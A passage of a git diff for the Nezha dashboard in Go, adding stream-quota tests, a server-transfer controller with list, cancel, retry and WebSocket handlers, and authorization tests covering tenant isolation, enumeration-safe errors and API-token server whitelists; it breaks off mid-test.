rejected. + req := newAuthorizedControllerContext(t, "POST", "/terminal", model.TerminalForm{ServerID: 7}) + _, err := createTerminal(req) + require.Error(t, err, "createTerminal must return an error when user quota is exhausted") + require.True(t, errors.Is(err, rpc.ErrTooManyStreamsForUser), + "error must be ErrTooManyStreamsForUser when user quota is exhausted, got: %v", err) +} + +// TestCreateFMEnforcesPerUserStreamQuota is the FM counterpart of the terminal +// quota test: POST /file must also be blocked once the per-user stream cap is +// reached. +func TestCreateFMEnforcesPerUserStreamQuota(t *testing.T) { + cleanup, _ := setupQuotaTest(t) + defer cleanup() + + for i := 0; i < quotaTestUserCap; i++ { + req := newAuthorizedControllerContext(t, "POST", "/file?id=7", nil) + req.Request.URL.RawQuery = "id=7" + _, err := createFM(req) + require.NoError(t, err, "FM session %d must succeed within per-user quota", i+1) + } + + req := newAuthorizedControllerContext(t, "POST", "/file?id=7", nil) + req.Request.URL.RawQuery = "id=7" + _, err := createFM(req) + require.Error(t, err, "createFM must return an error when user quota is exhausted") + require.True(t, errors.Is(err, rpc.ErrTooManyStreamsForUser), + "error must be ErrTooManyStreamsForUser when user quota is exhausted, got: %v", err) +} + +// TestCreateTerminalEnforcesPerServerStreamQuota verifies that even when a +// single user's quota is not yet reached, createTerminal rejects streams once +// the per-server cap is hit. This guards against a distributed attack where +// many users flood one server. +func TestCreateTerminalEnforcesPerServerStreamQuota(t *testing.T) { + cleanup, _ := setupQuotaTest(t) + defer cleanup() + + // Pre-fill the per-server quota with dashboard-internal streams + // (creatorUserID=0 bypasses the per-user cap so we can reach the server cap + // without needing quotaTestServerCap distinct users). + for i := 0; i < quotaTestServerCap; i++ { + require.NoError(t, + rpc.NezhaHandlerSingleton.CreateStream(fmt.Sprintf("server-filler-%d", i), 0, 7), + "pre-fill server quota stream %d must succeed", i+1, + ) + } + + // User 100 has used 0 of their personal quota; the server is saturated. + req := newAuthorizedControllerContext(t, "POST", "/terminal", model.TerminalForm{ServerID: 7}) + _, err := createTerminal(req) + require.Error(t, err, "createTerminal must return an error when server quota is exhausted") + require.True(t, errors.Is(err, rpc.ErrTooManyStreamsForServer), + "error must be ErrTooManyStreamsForServer when server quota is exhausted, got: %v", err) +} + +// TestCreateFMEnforcesPerServerStreamQuota is the FM counterpart: POST /file +// must also be blocked once the per-server stream cap is reached. +func TestCreateFMEnforcesPerServerStreamQuota(t *testing.T) { + cleanup, _ := setupQuotaTest(t) + defer cleanup() + + for i := 0; i < quotaTestServerCap; i++ { + require.NoError(t, + rpc.NezhaHandlerSingleton.CreateStream(fmt.Sprintf("server-filler-fm-%d", i), 0, 7), + "pre-fill server quota stream %d must succeed", i+1, + ) + } + + req := newAuthorizedControllerContext(t, "POST", "/file?id=7", nil) + req.Request.URL.RawQuery = "id=7" + _, err := createFM(req) + require.Error(t, err, "createFM must return an error when server quota is exhausted") + require.True(t, errors.Is(err, rpc.ErrTooManyStreamsForServer), + "error must be ErrTooManyStreamsForServer when server quota is exhausted, got: %v", err) +} diff --git a/cmd/dashboard/controller/terminal_input_limit_test.go b/cmd/dashboard/controller/terminal_input_limit_test.go new file mode 100644 index 00000000..7ed3dcc9 --- /dev/null +++ b/cmd/dashboard/controller/terminal_input_limit_test.go @@ -0,0 +1,9 @@ +package controller + +import "testing" + +func TestTerminalWebSocketInputLimitAllowsBoundedPaste(t *testing.T) { + if terminalWebSocketInputLimit != 512*1024+64 { + t.Fatalf("terminal WebSocket input limit = %d, want 512 KiB plus control-byte allowance", terminalWebSocketInputLimit) + } +} diff --git a/cmd/dashboard/controller/transfer.go b/cmd/dashboard/controller/transfer.go new file mode 100644 index 00000000..0e8f3ca7 --- /dev/null +++ b/cmd/dashboard/controller/transfer.go @@ -0,0 +1,231 @@ +package controller + +import ( + "strconv" + "time" + + "github.com/gin-gonic/gin" + "github.com/goccy/go-json" + "github.com/gorilla/websocket" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// List server transfers +// @Summary List server transfers +// @Security BearerAuth +// @Schemes +// @Description Returns transfers visible to the caller. Admin sees all; a +// @Description member sees rows where they are FromUserID, ToUserID, or +// @Description InitiatorID. The same predicate is enforced both at the SQL +// @Description level (this handler) and by the listHandler post-filter +// @Description (ServerTransfer.HasPermission) — defence in depth. +// @Tags auth required +// @Produce json +// @Success 200 {object} model.CommonResponse[[]model.ServerTransfer] +// @Router /transfer [get] +func listServerTransfer(c *gin.Context) ([]*model.ServerTransfer, error) { + q := singleton.DB.Order("id DESC") + // ServerTransfer is the only listX endpoint that hits the DB — the others + // all serve in-memory caches — and it is an append-only audit log. Without + // this SQL-side filter, every member's page load scans the entire historical + // population only to have the listHandler post-filter throw most of it + // away. As the table grows (a single transfer per server-move adds a row + // forever) this degrades from cheap to dashboard-blocking. Mirror the + // HasPermission predicate at the WHERE clause for non-admins. The post-filter + // still runs unconditionally as a defence-in-depth guard. + if !callerIsAdmin(c) { + uid := getUid(c) + q = q.Where("from_user_id = ? OR to_user_id = ? OR initiator_id = ?", uid, uid, uid) + } + var transfers []*model.ServerTransfer + if err := q.Find(&transfers).Error; err != nil { + return nil, newGormError("%v", err) + } + return transfers, nil +} + +// Cancel server transfer +// @Summary Cancel server transfer +// @Security BearerAuth +// @Schemes +// @Description Cancels a Pending transfer and reverts Server.UserID back to +// @Description FromUserID. Only admin or the original FromUserID may cancel +// @Description (the new owner cannot — that would be a denial primitive +// @Description against a server they don't own yet). No-op if the transfer is +// @Description already terminal. +// @Tags auth required +// @Param id path uint true "Transfer ID" +// @Produce json +// @Success 200 {object} model.CommonResponse[model.ServerTransfer] +// @Router /transfer/{id}/cancel [post] +func cancelServerTransfer(c *gin.Context) (*model.ServerTransfer, error) { + tid, err := strconv.ParseUint(c.Param("id"), 10, 64) + if err != nil { + return nil, err + } + + // Avoid leaking transfer-row existence via response shape. Admin can + // look up any row; a member can only look up rows where they are the + // FromUserID. Both "row does not exist" and "row exists but caller is + // not FromUserID" must surface identically as permission denied. + q := singleton.DB + if !callerIsAdmin(c) { + q = q.Where("from_user_id = ?", getUid(c)) + } + var t model.ServerTransfer + if err := q.First(&t, tid).Error; err != nil { + return nil, singleton.Localizer.ErrorT("permission denied") + } + if !t.HasPermission(c) { + return nil, singleton.Localizer.ErrorT("permission denied") + } + + updated, err := singleton.ServerTransferShared.Cancel(tid) + if err != nil { + return nil, err + } + if updated == nil { + // Already terminal — return current state so the UI can refresh. + return &t, nil + } + return updated, nil +} + +// Retry server transfer +// @Summary Retry server transfer +// @Security BearerAuth +// @Schemes +// @Description Creates a fresh Pending transfer with the same From/To as a +// @Description terminal (Failed/Timeout/Cancelled) transfer. The previous row +// @Description is left intact for audit; this returns the new row. Admin-only: +// @Description non-admin transfer semantics are enforced by batchMoveServer's +// @Description "ToUser == self" rule, so allowing any historical From/To/ +// @Description Initiator to retry would reintroduce the give-away path. Non- +// @Description admins receive permission denied before the transfer row is +// @Description read so the response cannot enumerate transfer ids. +// @Tags auth required +// @Param id path uint true "Transfer ID" +// @Produce json +// @Success 200 {object} model.CommonResponse[model.ServerTransfer] +// @Router /transfer/{id}/retry [post] +func retryServerTransfer(c *gin.Context) (*model.ServerTransfer, error) { + // Retry is admin-only. Non-admin transfer semantics are enforced by + // batchMoveServer's "ToUser == self" rule, which means a member can only + // receive a server, never give one away. Allowing a member to retry a + // historical row would reintroduce the give-away path: any prev.ToUserID + // on file becomes a one-click bypass of that policy. Members who want + // the server moved elsewhere ask an admin or use batch-move to pull it + // onto themselves. + // + // Refuse non-admins before reading the row so the response cannot be + // used to enumerate which transfer ids exist. + if !callerIsAdmin(c) { + return nil, singleton.Localizer.ErrorT("permission denied") + } + + tid, err := strconv.ParseUint(c.Param("id"), 10, 64) + if err != nil { + return nil, err + } + + var prev model.ServerTransfer + if err := singleton.DB.First(&prev, tid).Error; err != nil { + return nil, newGormError("%v", err) + } + + // PAT server_ids 白名单必须在 admin short-circuit 之后再收一次，否则 + // admin 给自己签发的“仅 server_ids={X}”PAT 仍能 retry 任意历史 transfer + // 行，与 ServerTransfer.HasPermission 注释和 cancelServerTransfer 已有 + // 的复核语义直接冲突。 + if !prev.HasPermission(c) { + return nil, singleton.Localizer.ErrorT("permission denied") + } + + return singleton.ServerTransferShared.Retry(&prev, getUid(c)) +} + +// transferStreamWriteTimeout caps a single WriteMessage so a stuck or +// half-open client cannot block the broker fan-out forever — once exceeded +// the connection is considered dead and dropped. Matches the cadence of the +// keepalive ping below. +const transferStreamWriteTimeout = 10 * time.Second + +// transferStreamPingInterval is how often we send a ping to keep the +// connection alive through aggressive proxies. Independent of the event +// stream, so silent transfers still keep the socket warm. +const transferStreamPingInterval = 30 * time.Second + +// Websocket server transfer stream +// @Summary Websocket server transfer stream +// @Security BearerAuth +// @Schemes +// @Description Pushes ServerTransfer state transitions (Pending → Verified / +// @Description Failed / Timeout / Cancelled) to the dashboard so the UI can +// @Description react without polling. Each frame is a single JSON-encoded +// @Description ServerTransfer. Subscribers see only transfers visible to +// @Description them (ServerTransfer.HasPermission). +// @tags common +// @Produce json +// @Success 200 {object} model.ServerTransfer +// @Router /ws/transfer [get] +func transferStream(c *gin.Context) (any, error) { + conn, err := upgrader.Upgrade(c.Writer, c.Request, nil) + if err != nil { + return nil, newWsError("%v", err) + } + defer conn.Close() + + deregisterPAT := registerPATConnection(c, func() { _ = conn.Close() }) + defer deregisterPAT() + + subID, ch := singleton.ServerTransferShared.Subscribe() + defer singleton.ServerTransferShared.Unsubscribe(subID) + + // Pings keep the socket warm even when the broker is quiet. Without this + // a long idle period followed by a transfer event would race against + // upstream proxy idle-timeouts that may have already closed the conn. + ping := time.NewTicker(transferStreamPingInterval) + defer ping.Stop() + + // Reader goroutine: needed only to surface client disconnects through + // SetReadDeadline / ReadMessage. We never expect inbound payloads. + closed := make(chan struct{}) + go func() { + defer close(closed) + for { + if _, _, err := conn.NextReader(); err != nil { + return + } + } + }() + + for { + select { + case <-closed: + return nil, newWsError("") + case <-ping.C: + if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(transferStreamWriteTimeout)); err != nil { + return nil, newWsError("%v", err) + } + case t, ok := <-ch: + if !ok { + return nil, newWsError("") + } + if !t.HasPermission(c) { + continue + } + payload, err := json.Marshal(t) + if err != nil { + continue + } + if err := conn.SetWriteDeadline(time.Now().Add(transferStreamWriteTimeout)); err != nil { + return nil, newWsError("%v", err) + } + if err := conn.WriteMessage(websocket.TextMessage, payload); err != nil { + return nil, newWsError("%v", err) + } + } + } +} diff --git a/cmd/dashboard/controller/transfer_cancel_authz_test.go b/cmd/dashboard/controller/transfer_cancel_authz_test.go new file mode 100644 index 00000000..d3d52e9b --- /dev/null +++ b/cmd/dashboard/controller/transfer_cancel_authz_test.go @@ -0,0 +1,104 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "strconv" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// cancelServerTransfer 的核心租户安全语义： +// - admin 可以取消任意 transfer 行 +// - member 只能取消自己作为 FromUserID 的 transfer +// - 行不存在 vs 行存在但调用者不是 FromUserID 必须返回**相同的** "permission denied"， +// 避免通过响应差异枚举 transfer ID 是否存在 +// +// 该 handler 已有保护（transfer.go:73-80），但此前没有任何测试盯住它。 + +func seedPendingTransfer(t *testing.T, serverID, fromUID, toUID, initUID uint64) uint64 { + t.Helper() + tr := &model.ServerTransfer{ + ServerID: serverID, + FromUserID: fromUID, + ToUserID: toUID, + InitiatorID: initUID, + Status: model.ServerTransferStatusPending, + } + assert.NoError(t, singleton.DB.Create(tr).Error) + singleton.ServerTransferShared.Register(tr) + return tr.ID +} + +func callCancelServerTransfer(t *testing.T, transferID, callerID uint64, role model.Role) (commonResponseShape, int) { + t.Helper() + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, callerID, role) + c.Next() + }) + r.POST("/transfer/:id/cancel", commonHandler(cancelServerTransfer)) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, + "/transfer/"+strconv.FormatUint(transferID, 10)+"/cancel", + bytes.NewReader(nil)) + r.ServeHTTP(w, req) + + var resp commonResponseShape + assert.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + return resp, w.Code +} + +func TestCancelServerTransfer_MemberCancelsOwnTransfer(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + seedServer(t, 1, 100) + id := seedPendingTransfer(t, 1, 100, 200, 100) + + resp, status := callCancelServerTransfer(t, id, 100, model.RoleMember) + assert.Equal(t, http.StatusOK, status) + assert.True(t, resp.Success, "FromUserID member must be able to cancel own transfer: %s", resp.Error) +} + +func TestCancelServerTransfer_MemberCannotCancelOthers(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + seedServer(t, 1, 100) + id := seedPendingTransfer(t, 1, 100, 200, 100) + + resp, status := callCancelServerTransfer(t, id, 200, model.RoleMember) + assert.Equal(t, http.StatusOK, status) + assert.False(t, resp.Success, "ToUserID member must NOT be able to cancel another user's transfer") + assert.Contains(t, resp.Error, "permission denied") +} + +func TestCancelServerTransfer_MemberCannotEnumerateNonexistentIDs(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + + resp, status := callCancelServerTransfer(t, 99999, 100, model.RoleMember) + assert.Equal(t, http.StatusOK, status) + assert.False(t, resp.Success) + assert.Contains(t, resp.Error, "permission denied", + "nonexistent transfer must return the SAME error as 'not your transfer', "+ + "so an attacker can't probe which transfer IDs exist") +} + +func TestCancelServerTransfer_AdminCancelsAny(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + seedServer(t, 1, 100) + id := seedPendingTransfer(t, 1, 100, 200, 100) + + resp, status := callCancelServerTransfer(t, id, 999, model.RoleAdmin) + assert.Equal(t, http.StatusOK, status) + assert.True(t, resp.Success, "admin must be able to cancel any transfer: %s", resp.Error) +} diff --git a/cmd/dashboard/controller/transfer_list_filter_test.go b/cmd/dashboard/controller/transfer_list_filter_test.go new file mode 100644 index 00000000..a3433733 --- /dev/null +++ b/cmd/dashboard/controller/transfer_list_filter_test.go @@ -0,0 +1,231 @@ +package controller + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +// listServerTransfer originally did `SELECT * FROM server_transfers ORDER BY +// id DESC` and relied on the listHandler post-filter (HasPermission) to drop +// rows the caller can't see. Functionally correct, but ServerTransfer is the +// only listX endpoint that hits the DB (the others serve in-memory caches), +// and it's an append-only audit table — every page load by a member who has +// participated in two transfers triggers a full table scan over the entire +// historical population. That cost is silent until the table is big and the +// dashboard slows for everyone at once. The fix pushes the same predicate +// HasPermission encodes down into the WHERE clause for non-admin callers. +// +// This test pins down the behavioural contract: regardless of the optimisation, +// a member must see only their own rows. It is intentionally written against +// the same response shape as the production handler so a regression in either +// the SQL filter OR the post-filter would fail it. +func TestListServerTransferReturnsOnlyCallerVisibleRowsForMember(t *testing.T) { + cleanup := setupListServerTransferFixture(t) + defer cleanup() + + // alice=100, bob=200, charlie=300. Seed five rows covering every position + // a member could occupy plus one row the member must NEVER see. + aliceFrom := seedTerminalTransfer(t, 1, 100, 200, 100) + aliceTo := seedTerminalTransfer(t, 2, 300, 100, 300) + aliceInitiated := seedTerminalTransfer(t, 3, 200, 300, 100) + bobAlone := seedTerminalTransfer(t, 4, 200, 300, 200) + charlieAlone := seedTerminalTransfer(t, 5, 300, 200, 300) + + ids := callListServerTransfer(t, 100, model.RoleMember) + + assert.ElementsMatch(t, + []uint64{aliceFrom, aliceTo, aliceInitiated}, + ids, + "member must see exactly the rows where they are From/To/Initiator", + ) + for _, forbidden := range []uint64{bobAlone, charlieAlone} { + assert.NotContains(t, ids, forbidden, "member must never see a row they do not participate in") + } +} + +// Admin sees every row. This pins down that the SQL-level filter is gated on +// role and is not accidentally applied to admins (which would be a regression +// in the other direction). +func TestListServerTransferReturnsEveryRowForAdmin(t *testing.T) { + cleanup := setupListServerTransferFixture(t) + defer cleanup() + + a := seedTerminalTransfer(t, 1, 100, 200, 100) + b := seedTerminalTransfer(t, 2, 200, 300, 200) + c := seedTerminalTransfer(t, 3, 300, 100, 300) + + ids := callListServerTransfer(t, 999, model.RoleAdmin) + + assert.ElementsMatch(t, []uint64{a, b, c}, ids, "admin sees every row") +} + +// Pin down the optimisation directly: the SELECT that hits the audit table +// for a non-admin caller MUST include a per-user WHERE clause. The behavioural +// tests above would pass even if the SQL stayed `SELECT *` (the post-filter +// hides forbidden rows), so they cannot regress-detect the perf fix going +// away. This test captures the executed SQL and asserts the filter is pushed +// down to the database. +// +// Why pinning the optimisation matters: ServerTransfer is the only listX +// endpoint that hits the DB (the rest serve in-memory caches) and it grows +// unbounded as an audit log. Without SQL-side filtering, every member's page +// load scans the entire historical table. A future refactor that drops the +// per-caller WHERE clause would not be caught by any behavioural assertion — +// hence this explicit guard. +func TestListServerTransferPushesPerCallerFilterIntoSQLForMember(t *testing.T) { + cleanup, captured := setupListServerTransferFixtureWithSQLCapture(t) + defer cleanup() + + seedTerminalTransfer(t, 1, 100, 200, 100) + seedTerminalTransfer(t, 2, 200, 300, 200) + + _ = callListServerTransfer(t, 100, model.RoleMember) + + stmt := findSelectAgainstServerTransfers(captured.Snapshot()) + require.NotEmpty(t, stmt, "expected a SELECT against server_transfers to be issued") + low := strings.ToLower(stmt) + require.Contains(t, low, "where", "non-admin list must apply a per-caller WHERE filter at the SQL level") + for _, col := range []string{"from_user_id", "to_user_id", "initiator_id"} { + require.Contains(t, low, col, "WHERE clause must filter on %s", col) + } +} + +// The admin path must NOT push the per-user filter — admins see everything. +// Without this assertion a refactor that always applies the filter would +// silently hide cross-tenant rows from admins (an availability regression of +// the admin observability surface). +func TestListServerTransferOmitsPerCallerFilterForAdmin(t *testing.T) { + cleanup, captured := setupListServerTransferFixtureWithSQLCapture(t) + defer cleanup() + + seedTerminalTransfer(t, 1, 100, 200, 100) + + _ = callListServerTransfer(t, 999, model.RoleAdmin) + + stmt := findSelectAgainstServerTransfers(captured.Snapshot()) + require.NotEmpty(t, stmt, "expected a SELECT against server_transfers to be issued") + low := strings.ToLower(stmt) + for _, col := range []string{"from_user_id", "to_user_id", "initiator_id"} { + require.NotContains(t, low, col, "admin list must NOT filter by %s — admins observe all transfers", col) + } +} + +func setupListServerTransferFixture(t *testing.T) func() { + t.Helper() + if singleton.Localizer == nil { + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + } + originalDB := singleton.DB + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + assert.NoError(t, err) + assert.NoError(t, db.AutoMigrate(&model.Server{}, &model.ServerTransfer{})) + singleton.DB = db + return func() { singleton.DB = originalDB } +} + +// sqlCapture records every SQL statement gorm executes against the test DB. +// Used by the optimisation guards above to assert that listServerTransfer +// actually pushes its per-caller filter into the WHERE clause. +type sqlCapture struct { + mu sync.Mutex + stmts []string +} + +func (s *sqlCapture) record(stmt string) { + s.mu.Lock() + defer s.mu.Unlock() + s.stmts = append(s.stmts, stmt) +} + +func (s *sqlCapture) Snapshot() []string { + s.mu.Lock() + defer s.mu.Unlock() + out := make([]string, len(s.stmts)) + copy(out, s.stmts) + return out +} + +func setupListServerTransferFixtureWithSQLCapture(t *testing.T) (func(), *sqlCapture) { + t.Helper() + cleanup := setupListServerTransferFixture(t) + + cap := &sqlCapture{} + err := singleton.DB.Callback().Query().After("gorm:query").Register("test:capture_sql", func(tx *gorm.DB) { + cap.record(tx.Statement.SQL.String()) + }) + require.NoError(t, err) + + return func() { + _ = singleton.DB.Callback().Query().Remove("test:capture_sql") + cleanup() + }, cap +} + +// findSelectAgainstServerTransfers returns the first captured SELECT whose +// FROM clause is `server_transfers`. We don't care about ordering callbacks +// or AutoMigrate scaffolding queries — only the handler's own SELECT. +func findSelectAgainstServerTransfers(stmts []string) string { + for _, s := range stmts { + low := strings.ToLower(s) + if strings.HasPrefix(strings.TrimSpace(low), "select") && strings.Contains(low, "server_transfers") { + return s + } + } + return "" +} + +func seedTerminalTransfer(t *testing.T, serverID, fromUserID, toUserID, initiatorID uint64) uint64 { + t.Helper() + tr := &model.ServerTransfer{ + ServerID: serverID, + FromUserID: fromUserID, + ToUserID: toUserID, + InitiatorID: initiatorID, + Status: model.ServerTransferStatusVerified, + } + assert.NoError(t, singleton.DB.Create(tr).Error) + return tr.ID +} + +func callListServerTransfer(t *testing.T, callerID uint64, role model.Role) []uint64 { + t.Helper() + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, callerID, role) + c.Next() + }) + r.GET("/transfer", listHandler(listServerTransfer)) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/transfer", nil) + r.ServeHTTP(w, req) + assert.Equal(t, http.StatusOK, w.Code) + + var resp struct { + Success bool `json:"success"` + Data []*model.ServerTransfer `json:"data"` + Error string `json:"error"` + } + assert.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + assert.True(t, resp.Success, "list call must succeed: %s", resp.Error) + + ids := make([]uint64, 0, len(resp.Data)) + for _, tr := range resp.Data { + ids = append(ids, tr.ID) + } + return ids +} diff --git a/cmd/dashboard/controller/transfer_pat_whitelist_test.go b/cmd/dashboard/controller/transfer_pat_whitelist_test.go new file mode 100644 index 00000000..725d1a51 --- /dev/null +++ b/cmd/dashboard/controller/transfer_pat_whitelist_test.go @@ -0,0 +1,156 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "strconv" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +func newPATCtxSetter(callerID uint64, role model.Role, tok *model.APIToken) gin.HandlerFunc { + return func(c *gin.Context) { + setAuthUser(c, callerID, role) + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + c.Set(apiTokenCtxKey, tok) + } + c.Next() + } +} + +func callListTransferWithPAT(t *testing.T, callerID uint64, tok *model.APIToken) ([]*model.ServerTransfer, bool, string) { + t.Helper() + r := gin.New() + r.Use(newPATCtxSetter(callerID, model.RoleMember, tok)) + r.GET("/transfer", listHandler(listServerTransfer)) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/transfer", nil) + r.ServeHTTP(w, req) + + var resp struct { + Success bool `json:"success"` + Error string `json:"error"` + Data []*model.ServerTransfer `json:"data"` + } + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + return resp.Data, resp.Success, resp.Error +} + +func callCancelTransferWithPAT(t *testing.T, transferID, callerID uint64, tok *model.APIToken) (commonResponseShape, int) { + t.Helper() + r := gin.New() + r.Use(newPATCtxSetter(callerID, model.RoleMember, tok)) + r.POST("/transfer/:id/cancel", commonHandler(cancelServerTransfer)) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodPost, + "/transfer/"+strconv.FormatUint(transferID, 10)+"/cancel", + bytes.NewReader(nil)) + r.ServeHTTP(w, req) + + var resp commonResponseShape + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + return resp, w.Code +} + +func TestListServerTransfer_HidesRowsForServersOutsidePATWhitelist(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + seedServer(t, 1, 100) + seedServer(t, 2, 100) + insideID := seedPendingTransfer(t, 1, 100, 200, 100) + outsideID := seedPendingTransfer(t, 2, 100, 200, 100) + + tok := &model.APIToken{ID: 17, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + rows, ok, errStr := callListTransferWithPAT(t, 100, tok) + assert.True(t, ok, "list call must succeed: %s", errStr) + + seen := map[uint64]bool{} + for _, r := range rows { + seen[r.ID] = true + } + assert.True(t, seen[insideID], + "transfer of whitelisted server 1 must still be visible (got %d rows)", len(rows)) + assert.False(t, seen[outsideID], + "transfer of non-whitelisted server 2 must be hidden from PAT view (rows=%+v)", rows) +} + +func TestCancelServerTransfer_DeniesServerOutsidePATWhitelist(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + seedServer(t, 1, 100) + seedServer(t, 2, 100) + _ = seedPendingTransfer(t, 1, 100, 200, 100) + outsideID := seedPendingTransfer(t, 2, 100, 200, 100) + + tok := &model.APIToken{ID: 17, UserID: 100} + tok.SetServerIDs([]uint64{1}) + + resp, status := callCancelTransferWithPAT(t, outsideID, 100, tok) + assert.Equal(t, http.StatusOK, status) + assert.False(t, resp.Success, + "PAT whitelist [1] must not allow cancelling transfer of server 2 (FromUserID match alone is not enough)") + assert.Contains(t, resp.Error, "permission denied") +} + +// admin PAT 同样必须受 server_ids 收窄：admin 给自己签的 PAT 加上 ServerIDs={1} +// 后，列表/取消都不能再触达白名单外的 server。这是修复 ServerTransfer.HasPermission +// 在 admin 早返回前未检查 PAT 的回归用例。 +func callListTransferWithAdminPAT(t *testing.T, callerID uint64, tok *model.APIToken) ([]*model.ServerTransfer, bool, string) { + t.Helper() + r := gin.New() + r.Use(func(c *gin.Context) { + setAuthUser(c, callerID, model.RoleAdmin) + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + c.Set(apiTokenCtxKey, tok) + } + c.Next() + }) + r.GET("/transfer", listHandler(listServerTransfer)) + + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/transfer", nil) + r.ServeHTTP(w, req) + var resp struct { + Success bool `json:"success"` + Error string `json:"error"` + Data []*model.ServerTransfer `json:"data"` + } + require.NoError(t, json.Unmarshal(w.Body.Bytes(), &resp)) + return resp.Data, resp.Success, resp.Error +} + +func TestListServerTransfer_AdminPATIsAlsoNarrowedByWhitelist(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + seedServer(t, 1, 100) + seedServer(t, 2, 100) + insideID := seedPendingTransfer(t, 1, 100, 200, 100) + outsideID := seedPendingTransfer(t, 2, 100, 200, 100) + + tok := &model.APIToken{ID: 18, UserID: 999} + tok.SetServerIDs([]uint64{1}) + + rows, ok, errStr := callListTransferWithAdminPAT(t, 999, tok) + assert.True(t, ok, "list call must succeed: %s", errStr) + + seen := map[uint64]bool{} + for _, r := range rows { + seen[r.ID] = true + } + assert.True(t, seen[insideID], "admin PAT scoped to {1} must still see transfer of server 1") + assert.False(t, seen[outsideID], + "admin PAT scoped to {1} must NOT see transfer of server 2 (admin early-return is no longer a bypass)") +} diff --git a/cmd/dashboard/controller/transfer_retry_authz_test.go b/cmd/dashboard/controller/transfer_retry_authz_test.go new file mode 100644 index 00000000..33bd299f --- /dev/null +++ b/cmd/dashboard/controller/transfer_retry_authz_test.go @@ -0,0 +1,219 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "strconv" + "testing" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/assert" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +// retryServerTransfer previously gated on prev.HasPermission(c), which honours +// the historical transfer row (FromUserID, ToUserID, InitiatorID). That lets +// any of those original parties re-initiate a transfer of the server long +// after ownership has moved on. Concretely: a stale "alice -> bob" Failed row +// stays visible to alice forever — even after she's transferred the server +// off to charlie — and the original endpoint would happily move it from +// charlie to bob without ever consulting the current owner. +// +// Authorization for an action that mutates the live server must use the +// live server, not a historical audit row. +func TestRetryServerTransferRejectsCallerWhoNoLongerOwnsServer(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + + // Seed: server originally owned by user 100 (alice). Failed transfer to + // 200 (bob) is recorded but server ownership has since moved to 300 + // (charlie) — e.g. alice transferred elsewhere afterwards. Alice is no + // longer the owner, so retrying the stale row would be an unauthorized + // grab. + seedServer(t, 1, 300) + staleID := seedFailedTransfer(t, 1, 100 /*from*/, 200 /*to*/, 100 /*initiator*/) + + resp, status := callRetryServerTransfer(t, staleID, 100, model.RoleMember) + + assert.Equal(t, http.StatusOK, status) + assert.False(t, resp.Success, "alice no longer owns server 1; retry must be rejected") + assert.Contains(t, resp.Error, "permission denied") + + var s model.Server + assert.NoError(t, singleton.DB.First(&s, 1).Error) + assert.Equal(t, uint64(300), s.UserID, "rejected retry must not flip ownership") + + var count int64 + assert.NoError(t, singleton.DB.Model(&model.ServerTransfer{}).Where("status = ?", model.ServerTransferStatusPending).Count(&count).Error) + assert.Equal(t, int64(0), count, "rejected retry must not create a Pending row") +} + +// The historical ToUserID must also not be able to grab the server back via +// the stale row. Same root cause; this is the explicit assertion that the +// fix covers the To side, not just the From side. +func TestRetryServerTransferRejectsHistoricalTargetWhoNeverOwnedServer(t *testing.T) { + cleanup := setupRetryServerTransferFixture(t) + defer cleanup() + + seedServer(t, 1, 300) + staleID := seedFailedTransfer(t, 1, 100, 200, 100) + + resp, status := callRetryServerTransfer(t, staleID, 200, model.RoleMember) + + assert.Equal(t, http.StatusOK, status) + assert.False(t, resp.Success, "bob was the failed transfer's target; he never owned server 1") + assert.Contains(t, resp.Error, "permission denied") +} + +// Members never retry: batchMoveServer's "ToUser == self" policy means a +// member can only RECEIVE a server, not give one away. Retry of a failed +// "alice -> bob" by alice (member, current owner) is exactly the give-away +// case batch-move would refuse. Retry is admin-only. +func TestRetryServerTransferRejectsCurrentOwnerWhoIsMember(t *testing.T) { + cleanup := 